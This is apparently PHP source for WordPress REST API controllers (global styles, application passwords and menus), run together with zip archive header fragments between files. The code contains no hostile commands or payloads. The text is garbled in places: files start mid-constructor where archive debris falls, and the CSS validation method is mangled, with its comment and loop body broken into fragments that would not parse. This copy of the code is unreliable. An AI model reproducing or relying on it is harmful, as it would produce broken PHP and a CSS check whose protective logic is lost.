'protected_title_format' ) ); remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); } if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass(); } if ( rest_is_field_included( 'styles', $fields ) ) { $data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass(); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $post->ID ); // Only return resolved URIs for get requests to user theme JSON. if ( $theme_json ) { $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json ); if ( ! empty( $resolved_theme_uris ) ) { $links['https://api.w.org/theme-file'] = $resolved_theme_uris; } } $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $post, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } return $response; } /** * Prepares links for the request. * * @since 5.9.0 * @since 6.3.0 Adds revisions count and rest URL href to version-history. * * @param integer $id ID. * @return array Links for the given post. */ protected function prepare_links( $id ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $id ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( post_type_supports( $this->post_type, 'revisions' ) ) { $revisions = wp_get_latest_revision_id_and_total_count( $id ); $revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0; $revisions_base = sprintf( '/%s/%d/revisions', $base, $id ); $links['version-history'] = array( 'href' => rest_url( $revisions_base ), 'count' => $revisions_count, ); } return $links; } /** * Get the link relations available for the post and current user. * * @since 5.9.0 * @since 6.2.0 Added 'edit-css' action. * @since 6.6.0 Added $post and $request parameters. * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. * @return array List of link relations. */ protected function get_available_actions( $post, $request ) { $rels = array(); $post_type = get_post_type_object( $post->post_type ); if ( current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'edit_css' ) ) { $rels[] = 'https://api.w.org/action-edit-css'; } return $rels; } /** * Retrieves the query params for the global styles collection. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { return array(); } /** * Retrieves the global styles type' schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of global styles config.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'styles' => array( 'description' => __( 'Global styles.' ), 'type' => array( 'object' ), 'context' => array( 'view', 'edit' ), ), 'settings' => array( 'description' => __( 'Global settings.' ), 'type' => array( 'object' ), 'context' => array( 'view', 'edit' ), ), 'title' => array( 'description' => __( 'Title of the global styles variation.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the global styles variation, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML title for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Checks if a given request has access to read a single theme global styles config. * * @since 5.9.0 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_theme_item_permissions_check( $request ) { /* * Verify if the current user has edit_posts capability. * This capability is required to view global styles. */ if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } /* * Verify if the current user has edit_theme_options capability. */ if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_read_global_styles', __( 'Sorry, you are not allowed to access the global styles on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } /** * Returns the given theme global styles config. * * @since 5.9.0 * @since 6.6.0 Added custom relative theme file URIs to `_links`. * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_theme_item( $request ) { if ( get_stylesheet() !== $request['stylesheet'] ) { // This endpoint only supports the active theme for now. return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $theme = WP_Theme_JSON_Resolver::get_merged_data( 'theme' ); $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = $theme->get_settings(); } if ( rest_is_field_included( 'styles', $fields ) ) { $raw_data = $theme->get_raw_data(); $data['styles'] = $raw_data['styles'] ?? array(); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ), ), ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme ); if ( ! empty( $resolved_theme_uris ) ) { $links['https://api.w.org/theme-file'] = $resolved_theme_uris; } $response->add_links( $links ); } return $response; } /** * Checks if a given request has access to read a single theme global styles config. * * @since 6.0.0 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_theme_items_permissions_check( $request ) { return $this->get_theme_item_permissions_check( $request ); } /** * Returns the given theme global styles variations. * * @since 6.0.0 * @since 6.2.0 Returns parent theme variations, if they exist. * @since 6.6.0 Added custom relative theme file URIs to `_links` for each item. * * @param WP_REST_Request $request The request instance. * * @return WP_REST_Response|WP_Error */ public function get_theme_items( $request ) { if ( get_stylesheet() !== $request['stylesheet'] ) { // This endpoint only supports the active theme for now. return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $response = array(); // Register theme-defined variations e.g. from block style variation partials under `/styles`. $partials = WP_Theme_JSON_Resolver::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $partials ); $variations = WP_Theme_JSON_Resolver::get_style_variations(); foreach ( $variations as $variation ) { $variation_theme_json = new WP_Theme_JSON( $variation ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $variation_theme_json ); $data = rest_ensure_response( $variation ); if ( ! empty( $resolved_theme_uris ) ) { $data->add_links( array( 'https://api.w.org/theme-file' => $resolved_theme_uris, ) ); } $response[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $response ); } /** * Validate style.css as valid CSS. * * Currently just checks that CSS will not break an HTML STYLE tag. * * @since 6.2.0 * @since 6.4.0 Changed method visibility to protected. * @since 7.0.0 Only restricts contents which risk prematurely closing the STYLE element, * either through a STYLE end tag or a prefix of one which might become a * full end tag when combined with the contents of other styles. * @since 7.1.0 Rejects non-string values with a WP_Error instead of a fatal error. * * @see WP_Customize_Custom_CSS_Setting::validate() * * @param mixed $css CSS to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ protected function validate_custom_css( $css ) { if ( ! is_string( $css ) ) { return new WP_Error( 'rest_custom_css_invalid_type', __( 'CSS must be a string.' ), array( 'status' => 400 ) ); } $length = strlen( $css ); for ( $at = strcspn( $css, '<' ); $at < $length; $at += strcspn( $css, '<', ++$at ) ) { $remaining_strlen = $length - $at; /** * Custom CSS text is expected to render inside an HTML STYLE element. * A STYLE closing tag must not appear within the CSS text because it * would close the element prematurely. * * The text must also *not* end with a partial closing tag (e.g., `<`, * `` tag. * * Example: * * $style_a = 'p { font-weight: bold; 400 ) ); } if ( 1 === strspn( $css, " \t\f\r\n/>", $at + 7, 1 ) ) { return new WP_Error( 'rest_custom_css_illegal_markup', sprintf( /* translators: %s is the CSS that was provided. */ __( 'The CSS must not contain "%s".' ), esc_html( substr( $css, $at, 8 ) ) ), array( 'status' => 400 ) ); } } } return true; } } PK!^^2class-wp-rest-application-passwords-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'users/(?P(?:[\d]+|me))/application-passwords'; } /** * Registers the REST API routes for the application passwords controller. * * @since 5.6.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema(), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_items' ), 'permission_callback' => array( $this, 'delete_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/introspect', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_current_item' ), 'permission_callback' => array( $this, 'get_current_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) { return new WP_Error( 'rest_cannot_list_application_passwords', __( 'Sorry, you are not allowed to list application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a collection of application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID ); $response = array(); foreach ( $passwords as $password ) { $response[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $password, $request ) ); } return new WP_REST_Response( $response ); } /** * Checks if a given request has access to get a specific application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_read_application_password', __( 'Sorry, you are not allowed to read this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves one application password from the collection. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $password = $this->get_application_password( $request ); if ( is_wp_error( $password ) ) { return $password; } return $this->prepare_item_for_response( $password, $request ); } /** * Checks if a given request has access to create application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'create_app_password', $user->ID ) ) { return new WP_Error( 'rest_cannot_create_application_passwords', __( 'Sorry, you are not allowed to create application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates an application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $prepared = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared ) ) { return $prepared; } $created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) ); if ( is_wp_error( $created ) ) { return $created; } $password = $created[0]; $item = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] ); $item['new_password'] = WP_Application_Passwords::chunk_password( $password ); $fields_update = $this->update_additional_fields_for_object( $item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } /** * Fires after a single application password is completely created or updated via the REST API. * * @since 5.6.0 * * @param array $item Inserted or updated password item. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating an application password, false when updating. */ do_action( 'rest_after_insert_application_password', $item, $request, true ); $request->set_param( 'context', 'edit' ); $response = $this->prepare_item_for_response( $item, $request ); $response->set_status( 201 ); $response->header( 'Location', $response->get_links()['self'][0]['href'] ); return $response; } /** * Checks if a given request has access to update application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_edit_application_password', __( 'Sorry, you are not allowed to edit this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates an application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $item = $this->get_application_password( $request ); if ( is_wp_error( $item ) ) { return $item; } $prepared = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared ) ) { return $prepared; } $saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) ); if ( is_wp_error( $saved ) ) { return $saved; } $fields_update = $this->update_additional_fields_for_object( $item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */ do_action( 'rest_after_insert_application_password', $item, $request, false ); $request->set_param( 'context', 'edit' ); return $this->prepare_item_for_response( $item, $request ); } /** * Checks if a given request has access to delete all application passwords for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_items_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) { return new WP_Error( 'rest_cannot_delete_application_passwords', __( 'Sorry, you are not allowed to delete application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes all application passwords for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_items( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID ); if ( is_wp_error( $deleted ) ) { return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'count' => $deleted, ) ); } /** * Checks if a given request has access to delete a specific application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_delete_application_password', __( 'Sorry, you are not allowed to delete this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes an application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $password = $this->get_application_password( $request ); if ( is_wp_error( $password ) ) { return $password; } $request->set_param( 'context', 'edit' ); $previous = $this->prepare_item_for_response( $password, $request ); $deleted = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] ); if ( is_wp_error( $deleted ) ) { return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } /** * Checks if a given request has access to get the currently used application password for a user. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_current_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( get_current_user_id() !== $user->ID ) { return new WP_Error( 'rest_cannot_introspect_app_password_for_non_authenticated_user', __( 'The authenticated application password can only be introspected for the current user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves the application password being currently used for authentication of a user. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_current_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $uuid = rest_get_authenticated_app_password(); if ( ! $uuid ) { return new WP_Error( 'rest_no_authenticated_app_password', __( 'Cannot introspect application password.' ), array( 'status' => 404 ) ); } $password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid ); if ( ! $password ) { return new WP_Error( 'rest_application_password_not_found', __( 'Application password not found.' ), array( 'status' => 500 ) ); } return $this->prepare_item_for_response( $password, $request ); } /** * Performs a permissions check for the request. * * @since 5.6.0 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0. * * @param WP_REST_Request $request * @return true|WP_Error */ protected function do_permissions_check( $request ) { _deprecated_function( __METHOD__, '5.7.0' ); $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_manage_application_passwords', __( 'Sorry, you are not allowed to manage application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares an application password for a create or update operation. * * @since 5.6.0 * * @param WP_REST_Request $request Request object. * @return object|WP_Error The prepared item, or WP_Error object on failure. */ protected function prepare_item_for_database( $request ) { $prepared = (object) array( 'name' => $request['name'], ); if ( $request['app_id'] && ! $request['uuid'] ) { $prepared->app_id = $request['app_id']; } /** * Filters an application password before it is inserted via the REST API. * * @since 5.6.0 * * @param stdClass $prepared An object representing a single application password prepared for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_application_password', $prepared, $request ); } /** * Prepares the application password for the REST response. * * @since 5.6.0 * * @param array $item WordPress representation of the item. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $fields = $this->get_fields_for_response( $request ); $prepared = array( 'uuid' => $item['uuid'], 'app_id' => empty( $item['app_id'] ) ? '' : $item['app_id'], 'name' => $item['name'], 'created' => gmdate( 'Y-m-d\TH:i:s', $item['created'] ), 'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null, 'last_ip' => $item['last_ip'] ? $item['last_ip'] : null, ); if ( isset( $item['new_password'] ) ) { $prepared['password'] = $item['new_password']; } $prepared = $this->add_additional_fields_to_object( $prepared, $request ); $prepared = $this->filter_response_by_context( $prepared, $request['context'] ); $response = new WP_REST_Response( $prepared ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $user, $item ) ); } /** * Filters the REST API response for an application password. * * @since 5.6.0 * * @param WP_REST_Response $response The response object. * @param array $item The application password array. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_application_password', $response, $item, $request ); } /** * Prepares links for the request. * * @since 5.6.0 * * @param WP_User $user The requested user. * @param array $item The application password. * @return array The list of links. */ protected function prepare_links( WP_User $user, $item ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/users/%d/application-passwords/%s', $this->namespace, $user->ID, $item['uuid'] ) ), ), ); } /** * Gets the requested user. * * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found. */ protected function get_user( $request ) { if ( ! wp_is_application_passwords_available() ) { return new WP_Error( 'application_passwords_disabled', __( 'Application passwords are not available.' ), array( 'status' => 501 ) ); } $error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); $id = $request['user_id']; if ( 'me' === $id ) { if ( ! is_user_logged_in() ) { return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) ); } $user = wp_get_current_user(); } else { $id = (int) $id; if ( $id <= 0 ) { return $error; } $user = get_userdata( $id ); } if ( empty( $user ) || ! $user->exists() ) { return $error; } if ( is_multisite() && ! user_can( $user->ID, 'manage_sites' ) && ! is_user_member_of_blog( $user->ID ) ) { return $error; } if ( ! wp_is_application_passwords_available_for_user( $user ) ) { return new WP_Error( 'application_passwords_disabled_for_user', __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ), array( 'status' => 501 ) ); } return $user; } /** * Gets the requested application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return array|WP_Error The application password details if found, a WP_Error otherwise. */ protected function get_application_password( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] ); if ( ! $password ) { return new WP_Error( 'rest_application_password_not_found', __( 'Application password not found.' ), array( 'status' => 404 ) ); } return $password; } /** * Retrieves the query params for the collections. * * @since 5.6.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } /** * Retrieves the application password's schema, conforming to JSON Schema. * * @since 5.6.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'application-password', 'type' => 'object', 'properties' => array( 'uuid' => array( 'description' => __( 'The unique identifier for the application password.' ), 'type' => 'string', 'format' => 'uuid', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'app_id' => array( 'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ), 'type' => 'string', 'oneOf' => array( array( 'type' => 'string', 'format' => 'uuid', ), array( 'type' => 'string', 'enum' => array( '' ), ), ), 'context' => array( 'view', 'edit', 'embed' ), ), 'name' => array( 'description' => __( 'The name of the application password.' ), 'type' => 'string', 'required' => true, 'context' => array( 'view', 'edit', 'embed' ), 'minLength' => 1, 'pattern' => '.*\S.*', ), 'password' => array( 'description' => __( 'The generated password. Only available after adding an application.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'created' => array( 'description' => __( 'The GMT date the application password was created.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'last_used' => array( 'description' => __( 'The GMT date the application password was last used.' ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'last_ip' => array( 'description' => __( 'The IP address the application password was last used by.' ), 'type' => array( 'string', 'null' ), 'format' => 'ip', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } } PK!|[MBB"class-wp-rest-menus-controller.phpnu[check_has_read_only_access( $request ); } /** * Checks if a request has access to read or edit the specified menu. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $has_permission = parent::get_item_permissions_check( $request ); if ( true !== $has_permission ) { return $has_permission; } return $this->check_has_read_only_access( $request ); } /** * Gets the term, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise. */ protected function get_term( $id ) { $term = parent::get_term( $id ); if ( is_wp_error( $term ) ) { return $term; } $nav_term = wp_get_nav_menu_object( $term ); $nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id ); return $nav_term; } /** * Checks whether the current user has read permission for the endpoint. * * This allows for any user that can `edit_theme_options` or edit any REST API available post type. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the current user has permission, WP_Error object otherwise. */ protected function check_has_read_only_access( $request ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ $read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this ); if ( $read_only_access ) { return true; } if ( current_user_can( 'edit_theme_options' ) ) { return true; } if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menus.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Prepares a single term output for response. * * @since 5.9.0 * * @param WP_Term $term Term object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $term, $request ) { $nav_menu = wp_get_nav_menu_object( $term ); $response = parent::prepare_item_for_response( $nav_menu, $request ); $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( rest_is_field_included( 'locations', $fields ) ) { $data['locations'] = $this->get_menu_locations( $nav_menu->term_id ); } if ( rest_is_field_included( 'auto_add', $fields ) ) { $data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $term ) ); } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param WP_Term $term Term object. * @return array Links for the given term. */ protected function prepare_links( $term ) { $links = parent::prepare_links( $term ); $locations = $this->get_menu_locations( $term->term_id ); foreach ( $locations as $location ) { $url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) ); $links['https://api.w.org/menu-location'][] = array( 'href' => $url, 'embeddable' => true, ); } return $links; } /** * Prepares a single term for create or update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * @return object Prepared term data. */ public function prepare_item_for_database( $request ) { $prepared_term = parent::prepare_item_for_database( $request ); $schema = $this->get_item_schema(); if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_term->{'menu-name'} = $request['name']; } return $prepared_term; } /** * Creates a single term in a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = wp_get_nav_menu_object( (int) $request['parent'] ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); $term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $term ) ) { /* * If we're going to inform the client that the term already exists, * give them the identifier for future use. */ if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) { $existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy ); $term->add_data( $existing_term->term_id, 'menu_exists' ); $term->add_data( array( 'status' => 400, 'term_id' => $existing_term->term_id, ) ); } else { $term->add_data( array( 'status' => 400 ) ); } return $term; } $term = $this->get_term( $term ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ 